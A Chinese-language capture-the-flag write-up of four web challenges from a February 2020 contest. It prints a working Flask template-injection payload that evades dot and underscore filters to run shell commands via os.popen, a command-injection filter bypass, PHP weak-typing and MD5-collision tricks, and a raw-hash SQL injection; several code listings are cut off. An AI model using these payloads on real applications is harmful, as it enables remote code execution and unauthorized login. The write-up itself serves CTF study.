记录一下此次Web的四道题
easyflask
flask SSTI
过滤了.和_
这个题我没做出来,看了赛后师傅的wp,简单记录一下
- 过滤点,可以用中括号括起来或者用attr()、getattr()绕过
- 过滤下划线,可以用request[‘arg’]绕过或dir(0)[0][0]绕过
给一下payload1
{{()|attr(request['args']['x1'])|attr(request['args']['x2'])|attr(request['args']['x3'])()|attr(request['args']['x4'])(233)|attr(request['args']['x5'])|attr(request['args']['x6'])|attr(request['args']['x4'])(request['args']['x7'])|attr(request['args']['x4'])(request['args']['x8'])(request['args']['x9'])}}?x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('想要执行的命令').read()
easyhash
1 | <?php |
变量1234弱类型和数组过,567md5强碰撞,a和b需要爆破一下五位数的哈希值,要求以0e开头,后面最多有一个数字,然后用m和n替换,得到flag即可
commix
这个题我看的时候已经被日传了,命令执行,简单waf
1 | <html> |
绕过方式有很多,可以使用以下命令
1 | sh `ls` |
HashisTrure
关键代码如下
1 | <?php |
hash(“whirlpool”,$ps, true);
hash第一个参数为whirlpool,使得生成的散列值为二进制串。任何字符都可能出现在字符串内
当hash中存在
1 | '=' |
时,语句变为
1 | select * from users where user_id='$id' and user_ps='xxx'='xxxx' |
第一步运算 user_ps=’XXXX’得到一个int值。由于不相等应该等于0.
第二步运算 int值与字符串比较,会把字符串转换为int,转换结果也等于0
形成注入,爆破可得密码为364383,登录即可
本文作者:
yd0ng
本文链接: https://yd0ng.github.io/2020/02/26/%E5%AE%89%E6%81%922020%E5%B9%B41%E6%9C%88%E6%9C%88%E8%B5%9B/
版权声明: 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处!
本文链接: https://yd0ng.github.io/2020/02/26/%E5%AE%89%E6%81%922020%E5%B9%B41%E6%9C%88%E6%9C%88%E8%B5%9B/
版权声明: 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处!